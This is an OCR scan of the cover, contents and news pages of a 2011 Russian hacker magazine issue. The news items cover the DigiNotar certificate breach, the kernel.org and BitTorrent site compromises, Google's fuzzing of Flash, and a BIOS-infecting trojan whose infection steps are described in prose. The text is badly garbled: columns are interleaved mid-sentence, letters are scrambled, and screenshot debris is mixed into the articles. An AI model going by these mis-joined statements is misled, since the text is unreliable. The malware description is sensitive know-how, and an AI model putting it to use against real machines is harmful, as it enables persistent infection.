Xakep №154 (ноябрь 2011)

Page 1

ВЗЛОМ

SSL:

В ТЕОРИИ о И НА ПРАКТИКЕ е ЖУРНАЛ

ОТ

КОМПЬЮТЕРНЫХ ХУЛИГАНОВ

FIH 11 [154] 2011

STEVEN PAULJOBS (1955-2011) РЕКОМЕНДОВАННАЯ

ЦЕНА:210р.

- e WINoowss:

---

РАЗБИРАЕМСЯ , ЧТО К ЧЕМУ

ВЗЛАМЫВАЕМ НАSР-КЛЮЧИ

- о

-

СОЗДАЕМ СПАМ-БЛОГ И ЗАРАБАТЫВАЕМ НА НЕМ

(game]land hi-tun medla

БЭКДОРВБД ПРОТРОЯНИВАНИЕ

MYSQL С

ПОМОЩЬЮ

ХРАНИМЫХ ФУНКЦИЙ, ПРОЦЕДУР И ТРИГГЕРОВ

О ТОМ, КАК СТАНДАРТНЫМИ ВОЗМОЖНОСТЯМИ СУБД ОСТАВИТЬНЕЗАМЕТНУЮ

ЛАЗЕЙКУ В СИСТЕМЕ.



Content

004

016

MEGANEWS Всеновоезапоследн ийм есяц

084

FERRUM

088

С приставкой Supeг Сравнительноетестирование мониторов

на базе IРS/МVА-матриц

020

Линейка : Обзор

022

-

Buffalo NAS от яnонской

комnании

Buffalo

Шестое чувство Обзор вибронакидки Gametгix Тгuе

live sense

036

040

SuЫime Text 2, или кунг- фу код и н г

DгорЬох: nуть от идеи до

106

SSH

Proof-of-Coпcept

HTML5

Снифер + МIТМ-атаки

=Ox4553-lnteгcep t eг

Правильные МIТМ-атаки nод Windows

PHREAKING Монитор к каждой железке! Д елаем VGА- в ыхо д на

FPGA

Easy-Hack

AntiHASP

110

DLL-хардкодинг

-

Внедряем свою

UNIXOID Победаввойнезаресурсы

119

Зализываем раны

Обзорэксплоитов

Ограничиваем Linuх- n риложения в ресурсах системы По д роб н ое

how to о том,

Бэкдорв БД

SYN/ACK Форт Нокс для твоей компании Создаем расnределенное хранилище

GlusterFS

На страже персональныхданных Законно защищаем nереанальные данные,

MySQ L с

nомощью хранимых функций,

не nокуnая кота в мешке

134

Энигмадлясисадмина

Ш ифруем элек т ронную n очту разными сnособами

068

lframe: з ащита и нападение

138

072

BEAST: зверский угон SSL - кукисов

-

FAQ UNIТED Большой FAQ

Первая работающая атака на SSL/TLS-npoтoкoл

141

Диско

076

X-Tools

Сплоги на WoгdPress от Ад о Я Как создать свой nервый сnам-блог и на нем заработат ь

hacker tweets Хак-сцена в тви тт ере На чем зарабатывают воротилы бизнеса загрузок

Программы для взлома

078

что следует д елат ь

сразу nосле вз л ома машины

данных с nомощью

129

HAS P

DLL в чужую nрограмму

114

124

nро ц едур и три г геров

067

n ользователей

Кодинг глазами эзотериков

Эмулируем ключ аnnаратной защиты

Колонка редактора

Протроянивание

062

25 миллионов

инечеловеческой логики

Анализ свеженькихуязвимастей

056

СЦЕНА

Обозрение Тьюринговской трясины

Хакерекие секреты nростых вещей

050

и что с ними делать?

Человек ломает SAP

102

взлом 046

Вирусы для гуглофонов: как они создаются

КОДИНГ

WWW2

VNС-клиент на

Panda, Comodo: nросто,

Microsoft

Про двухфакторную авторизацию для

035

ClamдV,

Больные роботы

098

Windows 8: что нового?

Правильный редактор ко д а для nрограммиста

034

AVG, Avast,

Коробка в облаках

Удобные wеЬ-сервисы

030

Накорячиваем

эффективно и без извращений

Интервью с Александром <<sh2keгг>> Поляковым

Первый взгляд на будущую систему

029

Ассемблером по эвристике

092

PCZONE 023

MALWARE

XSS: кросс-сайтим на полную! Полный гид по ХSS-уязвимостям

юниты

8.5

144

Г б всякой всячины

Цифры

Dropbox:

интересные факты о nоnулярном се р висе


MEGANEWS

WINDOWSS DEVELOPER PREVIEW вышла в свет, и только за первые

12 часов после релиза новую ОС скачалиболее 500 000 раз.

ЕЩЕ ОДИН СКАНДАЛ

НЕЙРОСИНАПТИЧЕСКИЕ

С СЕРТИФИКАТАМИ

ПРОЦЕССОРЫ ОТ

ГОЛЛАНДСКИЙ ПОСТАВЩИК СЕРТИФИКАТОВ DIGINOTAR

РАЗРАБОТКА ЧИПОВ БУДУЩЕГО

СМАЧНОСЕЛ В ЛУЖУ

УЖЕ ИДЕТ ПОЛНЫМ ХОДОМ

IBM

а

_____ -_. . ____ ------------· ...

..... _...

...., _ .,..,_,__ ,._"

Для nравительства Н и дерландов не· приятностьситуа­

ции заклю чаетс я и

в том, что

DigiNota r

до недавних пор

была одно й из четы ре х к омпаний , встроенны х в правительственную

РКI-инфраструктуру

PКiove rheid. Теnерь безопасность государственных

сайтов может быть nод угрозой .

бсолютно несостоятельным в сфере информационной безоnасности оказался голландский nоставщик сертификатов DigiNotar. В неко т ором смысле n овторилась история со взломом сервера комnа­

и

селедавателье кое nодразделение корnорации IBM в сотрудничестве с рядомуниверситетов nредставило новоеnоколениезксnериментальныхкомnьютер­

ных чиnов, созданныхдля эмуляции работы головного мозга

нии Comodo. Атака, наnравленная н а DigiNotar, была осуществлена еще в

человекавnроцессевосnриятия,действияиnознанияновой

июле, однако в центре сертификации nоnытались скрыть зтотфакт, сначала

информации. Пока этолишь nрототиnы, однако, уже рабочие.

отрицая nроблему, а nотом заявляя, что все мошеннические сертификаты за­

Новые чиnы не со держат в себе каких-либо биологических

блокированы . П озже выяснилось, что был сгенерирован 531 фальшивый SSL

элементов, однако обладаютих свойс твами. Внутри чиnов

и EVSS L сертификат, в то время как изначально сообща лось о создании 247

естьтакназываемоенейросинаnтическоеядр~созданное

фей ков. Злоумышленники генерировали сертификаты в течение трех дней.

изкремниевыхструктуриинтегрированнойnамяти,вос­

Подделки были созданы как для круnных комnаний, таких как Yahoo!, Google,

nрои зводящей мозговые синаnсы вычислительного блока,

Mozilla, Microso f t !включая сертификаты для службы Windows Updatel, Skype, Facebook и Tw i tteг, так и для доменов сnецслужб, н аnример, для сайтов ЦР У lc ia.gov l, MИ-6I sis.gov.uk l и Моесад l mossad.gov.il l . Сnисок nолучен благо­

имитирующего нейроны, и коммуникационной области, вос­

даря содействию nравительства Нидерландов , которое инициировало

nроизводящей мозговые аксоны. Чиnов nока два , и оба имеют ядра, созданные на базе 45-нанометровой технологии

501-

зе ро в, ра зумеется, исключили DigiNotaг из сnиска доверенных создателей

CMOS и содержащие по 256 нейронов. Одно ядро со держит в себе по 262144 nрограммируемыхсинаnса, другое-65536 обучающихся си на nса. В IBM говорят, что чиnы в nр оведенных

сертификатов, а Голландские власти намерены засу дить DigiNotaг, ведь на

демонстрацияхnоказалисвоюусnешностьвтакихзадача~

nроведение аудита удостоверяющего центра DigiNotar. Разработчики брау­

серверах центра сертификации не обновлялось ПО , и наnрочь отсутствовало

как навигация, машинное видение, ассоциативная nамять и

антивирусное ПО. Пока nравительство страны временно взяло все оnерации,

другие. В будущем на базе созданных nроцес саро в nланируют

nроводимые D igi N otaг, на себя.

создаватьтак называемые << nознающие комnьютеры>>.

-

MyS~ БОЛЕЕ 350 МЛН. СКАЧИВАНИЙ

:::.

-

SAMSUNG НАМЕРЕНА ОТКРЫТЬ ИСХОДНЫЙ КОД

ВЗЛОМАН САЙТ MYSQL.COM.

В ELCOMSOFТ НАУЧИЛИСЬ

набрала игра Angгy Biгds

Хакеры nопали с ь без

ВЗЛАМЫВАТЬ ПАРОЛИ

ВЫШЕЛ PARALLELS DESKTOP7 ДЛЯ МАС.

от комnанииRоviо MoЬile.

своейсобственноймобиль-

выдумки : они nросто пере-

BLACKBERRY, исnользуя

Новинка может похвастаться

Ежедневно люди проводят

нойоперационнойсистемы

направлялиnосетителей

данные, хранящиеся на

более чем

за игрой в << Птичек» nо ряд-

bada. После этого использо-

налевыйсайтиnытались

карте nамяти . 7-символьный

МОЖНОСТЯМИ, улучшеННОЙ

ка

вать ОС смогут и другие про-

их nротроянить с nомощью

nараль восстанавливается

nроизводительностью и

изводители смартфонов .

сnлоитпака

за считанные часы .

многим другим.

300 млн.

минут.

Blackhole.

90 новыми воз-

ХАКЕР

11/154/2011


MEGANEWS

СУТКИ НЕСЛОЖНОЙ DDOS-ATAKИ СТОЯТ ДОВОЛЬНО ДЕШЕВО: примерно$50 .

ЛОМАЮТ

«ЖЕЛЕЗНЫЕ»

ДАЖЕ ЗНАМЕНИТОСТЕЙ

АНТИВИРУСЫ

ХАКЕРЫУКРАЛИ У АКТРИСЫ СКАРЛЕТТ ЙОХАНСОН ФОТО В СТИЛЕ НЮ

НЕМНОГО РАЗМЫШЛЕНИЙ О ЗАЩИТЕ БУДУЩЕГО

н

едав н о комnани~ lпtel совместно _::McAfee анон-_ сировалитехнологиюа nnар атноиантивируснои

защиты

DeepSAFE, котора~ будетреализована в lntel. Суд~ по всему, гр~детнека~

новых модел~х процессорав

аnnаратна~ << nр ослойка» междупроцессаром и операцион­ ной системой . Были также представлены новые 22 н м nр оцес­ сары lvyBгidge и оnисана технологи~ защиты отnовышени~ nривилегий

SMEP. SMEP контролируетуровень nривилегий

и сnо лн ~емого ко да , размещенного в адресном nространстве,

выделенномдл~ работы nрограммам.При активации

SMEP

аnnаратураантивируснойза щ итыразрешаетnроцессорувы­ n олн~ть nр ограммы из э т ого nр остранства только суровнем

nривилегий 3-в nротивном случае возникает исключение,

и работа nрограммы блокируетс~.Хот~данна~ аnпаратура представлена только сейчас, в официальнойдокументации

lnt el это решениеуже нашлодокументальное отражение. В новой редакции [том ЗА, май 20111 есть nолное оnисание ра­ боты данного оборудован и~, кот орого вnолне доста то чнодл~ сторо нни х фирм и их разработок . Н е~сно nока, ~вл~етс~ ли SМ ЕРч астьютехнологии

DeepSAFE. На nрезентации об этом

неуnоминалось, и наличие двух схожихтехнологий в о дн ом nродукте маловеро~тно . Нелишне заметить, что в начале года

по~ вилась стать~ l www. q ipeгd г ive г. г u/пo d e/З I с nодробным какихтолько взломах мы не nишем на страницах][, однакотакогодаже у нас е щ е не было. Весьма комична~истори~nриключиласьвэтоммес~цепоту

сторонуАтлантики.Известна~голливудска~актрисаСкалетт

20

секунд Ральфа-Филипnа

своим участием, однако какснимки nоnали в Интернет-было

ца Иоэзо на взлом

загадкой. Дело в том, чтофотографии Скарлетт делала сама, на

i PhoneЗGS в рамках

iPhone и, разумеете~, никуда их н е выкладывала.

русных атак , причем были nредоставлены работосnособные << виртуальные >> макеты таких устройств защиты.

ушло у команды

ЙохансонвнезаnнообнаружилавСетиэротическиефотосо

собственный

оnисанием возможных алгоритмов аnпарат н ой защиты от ви­

Вейнмана и Винчен­

соревнования

Pwn2own.

Шокированна~ звездатут же обрат илась ни мно го ни мало в

ФБР, с требованием разобратьс~ в nроисход~щем безобразии. Комnетентныелюди из «ор ганов» разобрались и сообщили,

что это работа хакера, ко т орый, суд ~ п о всему, с n ециализирует­

с~ назнаменитост~х. Помимо Йохансон в сnиске nострадавших также числ~тс~ более

50 звез д , сре ди которыхДжессикаАль­

ба, КристинаАги л е р а и М ила Кунис. У всехдевушектоже были украдены личные данные, видеозаnиси и фотоснимки. ФБР, кстати, зловеще сообщает, чтоуже весьма близко к раскры т ию

nр естуnле ни~ . А nока nравоохранительные ор ганы ищут вино­ вных, мы, конечно, не можем nр ~татьоттеб~ прекрасное, ведь

его на страницах нашегожурнала бываеттак мало :1.

$'0000ПОТРАТИЛОРУКОВОД­ СТВОFАСЕВО0К за первыетри недели в рамках работы про­ граммы по выплатеденежных

вознаграждений людям, которые сообщают о ба г ах на сайте социальной сети. Уже есть и свои рекордсмены -один че­

ловек суммарно получил

АВТОР JAILBREAKME.COM,

20ЛЕТИСПОЛНИЛОСЬ

выявив

известный «яблочный

LINUX. B 1991

В общей сложности вознаграж­

взломщик-Николас

ЛинусТорвальдсобъявил

дениеуже успели получить

исследователииз16различных

«Comex» Аллегра-теперь будет работать в Apple. Нач­

тотипановойоперационной

стран .

нет он с должности стажера.

системы Liпux.

006

$7 000, 6 разныхуязвимостей.

году21-летний

осозданиирабочегопро­

ХАКЕР

11 / 154/2011


MEGANEWS

51 ИГРУ СДЕЛАЛА КОМАНДА РАЗРАБОТЧИКОВ

до того, как разработалаАngгуВiгds .

ПЛАНШЕТ AMAZON KINDLEFIRE-OГOHb! УСПЕХИ ЧИТАЛКИ KINDLE ВДОХНОВЛЯЮТ КРУПНЕЙШИЙ СЕТЕВОЙ МАГАЗИН НАДАЛЬНЕЙШИЕ СВЕРШЕНИЯ

к

а киетолько слухи не циркулировали в Сети относительно грядущего релиза планшет н ика от ком п ании Amazoп. Тем не менее, до самой презентации о нем не было известно практически ничего конкретно­

го, а презентация показала, что во м нагом ошибались даже такие именитые издания, как

TechCrunch. Итак, устройство будет рабо т ать п од уп раелен и ем

Aпdгoid, однако платформа весьма серьезно модифицирована умельцами

Amazon. В частности, никакого тебе AпdroidMaгket -только собственный магазин приложений от Amazon. Хорошо известно, ч т о Amazon не собирается зарабатывать на самих девайсах. Н апротив, зачастую компания продает устройства дешевле их себестоимости, с лихвойотбивая разницу позже- на п родаже конте н та . Созда т ь универсальную сеть удобного рас п рос т ране н ия

контента - главная цель Amazoп. Главным предназначением Kindle Fiгe станет потребление различного мультимедийного контента: проелушивание музыки , чтение книг, просмотр фильмов. Д ля каждого из этих типов конте н та у Amazon есть свой магазин. Устройство оснащено емкостным 7-дюймовым цветным сенсорным IРS - дисплеем с разрешением 1024 х 600 пикселей и под­ держкой multi-touch. Планшет построен на двухъядерном про ц ессаре Tl ОМАР

11 ГГц l и оснащен 8 Г б встроенной nамяти. Из беспроводных возможностей предусмотрена поддержка Wi-Fi 802.11 Ь/g/n. Относительно ЗG ситуация сле­ дующая: пока, как уже было сказано вы ш е, модель предлагается только в WiFi версии. Согласно информации все т ого же издания TechCrunch, модифика­ ция с Wi F i+ЗG , вероятно , появится позже . Интересно, будет ли доступна опция бесплат н ого ЗG по всему миру? Если на обычном Kindle серфить было, мягко

говоря, н еуд обно !все-так и технология элек т ронной бума г и не для этого ! , то KindleFiгe готови т в этом смысле настоящий прорыв. Идея заключается в том, чтобы не заставлять пользователя загружать многочисленные отдельные элеме нт ы страниц и т ратить время н а их ре нд ерин г на самом д евайсе. Amazoп

тепер ь буд ет выполнять рендери н г страниц на собст в енных серверах Е С2 и доставлять на устройства готовые изображения. П о сути, Amazoп собирается

кешировать вес ь Инт ернет и д ос т а вл ять эти с т ра н и цы н а Kiпdle Fi re со своих серверов . Эта технологию н азывае т ся Amazoп Silk. Н а п оследок отмечу, что помимо планшета были представле н ы новые версии обычной читалки Kiпdle.

Е е тепе рь можно купить -д е р жись на стуле - за $79 ! И хотя Amazo п не д о­

amazon.com® "

сп

став л яе т их на п рямую в Р оссию, товар легко можно заказать через сервисы­

Продажи планшета Кiпdl e Fi г e, к оторый Джефф Без ос представил публике лично, стартуют 15 ноября те к ущего года, а предварительный заказ доступен у же сейчас .

посредники вроде www.shipito.com .

Ц е на устройства составит всего $199.

НАШИ НА

13

EKOPARTY

В Буэ н ос-Айресе про ш ла конфере нц ия Ekoparty-caмoe главное мероприятие для латинской Америки в области ИБ . Событие изначально носило сугубо гаражный характер и

ор г а н изовалось исключ ит е ль но н а сре д ст в а энтуз и астов. Тепер ь же

в конференции ежегодноучаствуютболее 1000 человек, а именитые докладчики сами выстраиваются в очере д ь, чтобы п ре д ставить свои

иссле д ования на Ekoparty. Спонсорами конференции регулярно выступаюттакие компании, как ES ET, lmmunity, CORE, Microsoft, Google, lntel и TippingPoint. В этому годунакон ц еренциибылонемалоинтерес н ых д окладов,в т омчисле и от русских nарней Жени Р одионова и Са ш и Матросова, которые рас­ сказали о различных nодходах к обходу п рове р ок ц и ф ро в ой п одписи для мо д улей я др а на 64-битных ве р сиях

Win dows и n риве л и при ме р ы

реаль н ых вредоносных про г рамм, использующих эти уязвимости.

Вnрочем, настоящей изюминкой конферен ц ии стал докла д об усnешной технике атак на протокол SS L с н азванием <<B EAS T». Об этой новой атаке т ы може ш ь п о д роб н о п ро чит ать в этом в ы пуске : ес л и за­

интересовался,тоскорееоткрывай72стра н и ц у!

008

ХАКЕР

11 / 154/ 2011


MEGANEWS

ЕЩЕ

1 023ПАТЕНТАПРИОБРЕЛАКОМПАНИЯ GOOGLEYIBM. (lатентные войны набирают обороты .

ГРОМКИЕ ВЗЛОМЫ ПРОШЛОГО МЕСЯЦА

,~~·

УЯЗВИМОСТЕЙ

ДЛЯ ТОРРЕНТОВ И

Adobe

В

LINUX ОСЕНЬ НАЧАЛАСЬ С ПРОБЛЕМ

БОЛЬШЕ400

ADOBE FLASH

ХОРОШОЗАНИМАТЬСЯ ФАЗЗИНГОМ, ЕСЛИ

r

РАБОТАЕШЬ В GOOGLE

а

овеем недавно вышло очередное обновление

Adobe Flash 11 0.3.183.5), в котором было официально устранено 13уязвимостей, 12 из которых имеют характеркритическихnроблемипозволяюторганизоватьвы­

'

Protectюn

@ Pnvacy

о WМNII\G! 45 infectlons FO<Гd!!!

nолнение кода nри открытии nользователем оnределенного

ГAmqth!t.иtsc.\~~-(16).wuses(I8),.М..(4), ."..(S).!:r~CDC!hes (2)WI!fed!teded.

репорт? Затем, дорогой читатель, что сотрудник Google Тейвис

Possible."-m~:

0 S)'5teal.tt~ е

..................

Systeмst.~foi!Ьe

Flаsh-контента. Зачем мы nриводим здесьэтотстандартный Орманди заявил, что все это неnравда и что на самомделе в nоследнемобновленииnо~ихомубылоисправленоболее400

!четырехсот, это не оnечатка) nотенциальныхуязвимостей . Давай разберемся, откуда Орманди взял такую цифру,

e s..-O w.emetcor«Ьanlass

--·

Q v.us~cn)'(Uf'letМxk

Ott/' Settngs

R:l5strrrftjyf~ttwi:J'OLic:lмr)QJ'~fr0114the

как нашли такое количество ба го в и n ри чем здесь вообще

Google. Для

начала стоит сказать, что Тейвис Орманди ­

личность весьма известная. К nримеру, совсем недавно, на

BlackHat 2011, он изобличал антивирусное решение Sophos. Тогда Орманди продемо н стрировал аудитории, что в о n ерационных системах Windows Vista от ком nа нии

и выше модуль борьбы с эксnлойтами загружается, nод­

ключается ко всем работающим nроцессам, но вообще Прони к новение х а керов на kernel.org о с тав алось незамеченным к а к минимум 17 дней ! Однако ра з · работ чики я др а у в ер е н ы , ч то ата ку ющи е не м огли в н ес ти с к рыт ы е изм ен е ния в к од ядра.

бездействует. Также он сообщил, что большинства антиви­

русных сигнатур не касалась рука человека, хотя

Sophos

заявляет обратное. Словом, ему не nривыкать коnаться в чужих nрограммах и искать в них изъяны.

разунесколькимигромкимихакамиознаменовалосьначалоосени.

Теnерь вернемся кАdоЬе

Flash. Дело в том, что Google

Сначала неизвестные злоумышленники подпортили жизнь любителям

nоставляет Flаsh-плагин в составе своего браузера Chгome.

файлообмена, взломав сайты bittoггeпt.com и utoггeпt.com . Стан­

Сообщив миру, что комnания

Adobe кое-чего недоговаривает,

дартные программные загрузки обоих ресурсов заменили фейковы м антиви­

Орманди и Ко были вынуждены раскрыть некоторые под­

русом, известным как Secuгity Shield . Посетители загружали малварь вместо

робности зтогодела . Оказалось, что сами сотрудники

ВitТоггепt-клиентов на протяжении нескольких часов. Затем атаки обрушились

nроинформировали

на опенсорс-сообщество. Один за другим взлому подверглись сайты kегпеl . огg ,

обнаружили с nомощью фаззинга. Размах внутреннего ауд ита,

liпuxfouп d atioп . o г g и liпux . com . В первом случае атакующим удалось получить

nроведенного в Google, nоражает воображение . Так как

Adobe о сотнях д ыр,

Google

кот орые сами же их

гооt-доступ к серверам, модифицировать системное ПО и организовать пере­

недостатка в мощностях nоисковый гигант не испытывает, ис­

хват паралей разработчиков. В частности, атаковав ш ие заменили opeпssh­

следователямнесоставилотрудаорганизоватьграндиозное

seгveг и opeпssh- cl ieпts, а та к же ар га н изовал и загрузку свое го скри пта через

тестирование, для которого отобрали nорядка

систему инициализации. А пару недель спустя обнаружилось , что взломана

файлов. В течение нескольких недель их обкатывали на

также инфраструктура l inuxfoundatioп . oгg и социальной сети L i пux . com . Под­

nлeepe в кластере из 2000

робности взлома пока выясняются. В доступном в настоящее время тексте

файлы nодвергалисьоnределенным мутациям !изменениям),

уведомления сказано, что атаки предположительно связаны между собой. Все

создавая не штатные ситуации для выявления о ш ибок . В итоге

серверы организации

были обнаружены сотни nотенциальныхуязвимостей, вы­

Linux

Foundatioп отсоединены от Сети до завершения

полнойпереустановки систем.

20.000 SWFFlash-

CPU. Участвующие в тестировании

званных выходом за границы буфера, целочисленными nере­

nолнениями, исnользованием nамяти nосле освобождения и т.n. Всего выявлено400уникальных си г натур, nриводящих к

крахуF~sh-nлеера . ПослеnервичнойсортировкиАdоЬеони

ДЫРКИ ЕСТЬ ВЕЗДЕ, А BOTWORDPRESS ЕЩЕ И УДОБНЫЙ

были зарегистрированы как

106 отдельных багов . Для исnрав­

ления данных ошибок, с учетом дублирования nроблем, в код потребовалосьвнести ВО изменений. Так почему же об этом нигде не сообщалось? Компания

1,.7°/о ИЗ МИЛЛИОНА САМЫХ

ПОПУЛЯРНЫХ САЙТОВ В

МИРЕ РАБОТАЮТ НА ДВИЖ­ КЕ WORDPRESS, СООБЩАЕТ . НАМ WORDPRESS.ORG 01 0

Adobe все же прокомментировала ситуацию и

пояснила:

заводить СVЕ-отчеты о данных ошибках не стали, так как,

по мне н ию

Adobe, CVE отражает информа ц ию о публично

известных ошибках, в то время какданные дыры были вы­

явлены при сугубо внутреннем тестировании

ISPLC-Adobe

Secuгe Pгoduct Lifecycle) . Adobe заводит CVE в двух случаях: при поступлении информации абуязвимости извне и при

исправленииzего-dаууязвимостей.Дляпроблем,найден­ ных в процессе разработки продукта,

CVE не заводятся,

иными словами, уязвимости исправляются молча.

ХАКЕР

11 / 154/ 2011


MEGANEWS

~~ЛАБОРАТОРИЯ КАСПЕРСКОГО>> СТАЛА ПОСТАВЩИКОМ ЗАЩИТНЫХ ПРОГРАММ для отечественного Министерства обороны .

GOOGLE WALLET НАЧАЛ

ТРОЛЛЕЙ САЖАЮТ

РАБО Т У

В ТЮРЬМУ

И ОБЕЩАЕТ ОТПРАВИТЬ НА ПОМОЙКУ ПЛАСТИКОВЫЕ КАРТЫ

СЕТЕВОЕТРОЛОЛОУЖЕНЕПРОХОДИТБЕЗНАКАЗАННО от я у нас в стране не прецедентарное право, все

равно нельзя не отметить случай произошедший

недавно в Брита нии .

13 сентября

британский

суд приговорил 25-летнего а н гличанина Шана Д аффи к

18 неделям тюрьмы за жесткий тролли н г в

И н тернете. Не

условно. И нужно заметить, что получил т ролль за дело. На роль мишени для своих издевок Даффи избрал родственников покойной Наташи Макбрайд. Девочка

15

лет бросилась под поезд в День Святого Валентина, после

чего ее друзья и близкие использовали ее страницу в

Т ар

to рау with Citi® the Google Prepaid Card.

Facebook для обмена соболезнованиями . Д аффи

MasterCaгdiA1 о г

не знал

деву ш ку лично, а про ее гибель и вовсе услы ш ал из ново­ стей . Тем не менее, трол л ь не поленился зайти в

Learn how it works ,

Facebook

и написать на « стене» Наташи: << я просто задремала на

рельсах» и << мама, здесь в аду жарковато». Родственники покойной молча терпеть не стали и сразу обратились в nолицию, которая очень быстро отыскала << ш ут н ика».

Тролль Даффи оказался зрелищем почти а н ек д отическим :

к

омпа н ия

Google официально запустила свой Google Wallet

новый сервис мобильных платежей

-мобильное приложение, с помощью которо-

го можно оплачивать покупки в магазинах при помощи

смартфона,посредствомбесконтактнойтехнологии

Nеаг

Field Commuпication INFC). С помощью Google Wallet

п ользователю для оплаты товаров и услуг нужно лишь

п риложи т ь смартфон с

N FС-чипом

к специальному считы­

толстым, прыщавым, живущим на пособие п о безработице.

В о сн ов е ново г о с ерв иса ле жит

И хотя на суде защита пыталась доказать, что <<бедняга »

техн ология

NFC (NearFieldCommunication), которая дает

страдает синдромом Аспергера и алкоголизмом, суд не

поверил и снисхождения к троллю не проявил. Вердикт:

во зм о ж но ст ьоб мена

месяцев тюрьмы и

данными меж ду

5 лет без доступа

18

к социальным сетям.

бл изк о р ас поло жен­

Интересно и то, что судили Даффи по самому обычному

ными ( нескол ько са нтиметров ) устройствами .

обвинению-за оскорбление в особо грубой форме. Суд не усмотрел никакой помехи в том, что оскорбление было

вающему устройству и ввести РIN-код, после чего деньги

нанесено в интернете и анонимно.

за покупку сnисываются с кредитной карты. Этутехноло­

гию многие ведущие компании рассматривают как более удобную альтернативу т ра д иционным банковским картам. Правда, п ока

Google Wallet р або т аеттолько

в США, где вос­

пользо в а ть ся им мож н о в торговых точках с платежными

термина л ами MasteгCaгdPay P ass, которых насчитыва­ ется около

150 т ысяч.

Сейчас

Google Wallet поддерживает

nлатежи только с помо щ ью д вух типов карт - кредитных

MasteгCaгd от банка

Citi

и виртуальных

Google

PгepaidCaгd,

ба л анс ко т о р ых мож н о по п ол н ить с любой пластиковой карты. В буду щ ем пре д ста в ители

Goog le обещают до­

бавить по д держку кapтVisa, Ameгican Expгess и Discoveг. Еще одно ограничение: про г рамма в данный момент может работать только на смартфонах

Nexus 5 4G.

Но в будущем

планируется расширить по дд ержку на другие смартфоны с чипом

NFC.

.. .

ИМУЩЕСТВОХАКЕРА nошло с молотка по его

t

же соб с твенной инициа ­ тиве . Все вырученные средства о т nродаж и недвижимости и авто­

мобилей , о цененные в

8

млн . рублей , были nере­

012

nравлены в Royal Bank of Scotland, nострадавш и й

СОРЦЫDООМЗ будут

23% ВСЕГО ВРЕМЕНИ

оnубликованы в от­

винтернетезаnадные

от хакера . Интересно,

рытом дост у nе до конца

юз еры nроводят в соци­

к акую часть убытков

года , сообщил глава

альных сетях и благах,

он таки м образо м смог

комnан ии id Softwaгe

говорится в отчете

nокры т ь?

Джон Кармак .

комnании

Nielsen.

ХАКЕР

11/154/2011


ПОЧТИ 3 МЛН. КЛЮЧЕЙ К ИГРЕ DIRT 3 СЛУЧАЙНО ~~ПОТЕРЯЛА>> компания AMD. Базаутекла с сайта AMD4u .com .

МАЛВАРЬ ПРОЛЕЗЕТ ДАЖ Е В

BI OS

ТРОЯ Н С НЕ СОВСЕМ СТАНДАРТНЫМ ФУНКЦИОНАЛОМ НА Ш Л И ЭКСП ЕРТЫ

КИТАЙСКОГОАНТИВИРУСНОГО ВЕНДОРА Plюe11ix - A~o~ard

Auto Save Load last

bootaЬie bootaЬie

setti11g E naЬied setting Load

standard bios default ·- Descr i pt iоп

_j

Wl1e11 tl1i s

----1

enaЬied,

Ba11k descr i pt ion Save to tllis Ba11k Load from tl1 is Bank Hotkey => 1 L _ _ Opt ions ___J

llscr ilef ined settiny Bank 12 ===--, Dr:scription 1 , - Options ---i 2686 268х16 Bank description 2-1- 1-6 2. 9vl166 )223 Save to t l1is Bank Load from tl1is Bank Hotkey => 2 1·-- Description _ j L _ _ Opt ions ___j Enter:Select f..IS.:sofrevious Va lues

пытался мани ­

с воей же р т вы , но

Lcve 1

э т о в л екл о за собой

iteм

it

ра з р у шительные

io

посл е дствия :

~o~ i l l

BIOS

перезаписывался,

autoмatically s д ve

и к о м пьют е р после

yotlr last bootaЬi e CMOS setti11g to 'Backllp Bank' if the setting сап boot your systi:m successfully .

этого больше не

i

tt~• : llove

BIOS не

но в а . Еще в 1999 годувирусСIН пулировать BIOS

Save sett ing to Ba11k IJi tl1 Curre11t set t i 11g ·:.,т ,kfiнeil settio1y HctнJ.: "' "···-""\ г----~-IJptloнs

ма лваря в

lte11 Help Ме н"

t·~·, ~-~pt_iJ)!}

Идея внедрения

WorkstationBIOS CMOS Setllp Utility CMOS Re loaded

з агру ж ался .

шеллегким путем, переложив все основные задачи на сам

BIOS. Он вос­

пользовался результатами работы китайского исследователя, извест­ ного подником lceloгd . Работа была проделана еще в

2007 году: тогда при BIOS был обнаружен простой способ перепрошивки микросхемы через сервис, предоставляемый самим BIOS в SMM ISystem Management Mode]. Программный кодSММ в SMRAM не виден операционной системе !если BIOS написан корректно, доступ к

анализеутилиты WinflashдляAwaгd •

+/-/PUIPD:Value F10:Save ESC:Exit Fl:General Help F6: Fail-Safe Defaults F7: О ti•ized Defaults

этой памяти заблокирован] и исполняется независимо от нее. Назначе­ ние данного кода весьма разнообразно: это эмуляция не реализованных

итайский производительантивирусов 360 сообщает, чтоэкс­

аппаратновозможностейматеринскойплаты,обработкааппаратных

перты вирусной лаборатории обнаружили вредонос, получив­

ошибок, управление режимами питания, сервисные функции ит.д.

шей назва н ие Tгojan.Mebгomi по классификации Symantec. На

Д ля модификации самого образа ВIОSданная вредонос н ая програм­

первый взгляд, это стандартный пофункционалутроян, заражающий

ма используетутилитусЬгоm . ехе !от PhoenixTechnologies], которую, как

такжезаложены механизмы, позволяющие заразить

MBR и пытающийся скачатьчто-то из сети, но, как выяснилось, в него BIOS материнской

троянецвнедряетв образ свой модуль hook.гom в качестве

платы компьютера.

Затем Tгojan.Mebгomi отдает своему драйверу команду перепрошить

Первоначально дроппертроянца Т гojan.Bioskit . 1 проверяет, запуще­

и все прочие файлы, несет у себя в ресурсах. При помощи этой утилиты

ISA BIOS ROM.

BIOS из обновленного файла. При следующей перезагрузке компьютера в процессе инициализа­

ны ли ОС процессы нескольких китайских антивирусов: еслитаковые обнаруживаются, тотрой создает прозрачноедиалоговое окно, из кото­

ции

рого осуществляется вызов его главной функции . Затем Tгojan.Mebгomi

hook.гom. Вредоносный код из этого модуля каждый раз проверяетзара­

определяетверсию ОС и в случае, если зто Windows 2000 и выше !за

женность

исключением WindowsVista], продолжает заражение. Троя н проверяет

тить, что наличие в системеАwагd

состояние командной строки, из которой он можетбытьзапущен с раз­

даннымтроянцем. Так, из трех проверенных в вирусной лаборатории

личными ключами. В ресурсахдроп п ера у п аковано несколько файлов:

материнских платзаразитьудалось только одну, а в д вухдругих в памяти

сЬгоm.ехе, hook.гom,

my.sys, flash.dll и Ьios.sys. Е слидрайвер Ьios.sys не удается запустить, или BIOS ком п ьютера отличается отАwагd, троянец переходит к заражению MBR. Но еслидрайверу Ьiоs . sуsудается опознать Awaгd BIOS, то начинается самое интересное. Автор Tгojan.Mebгomi по-

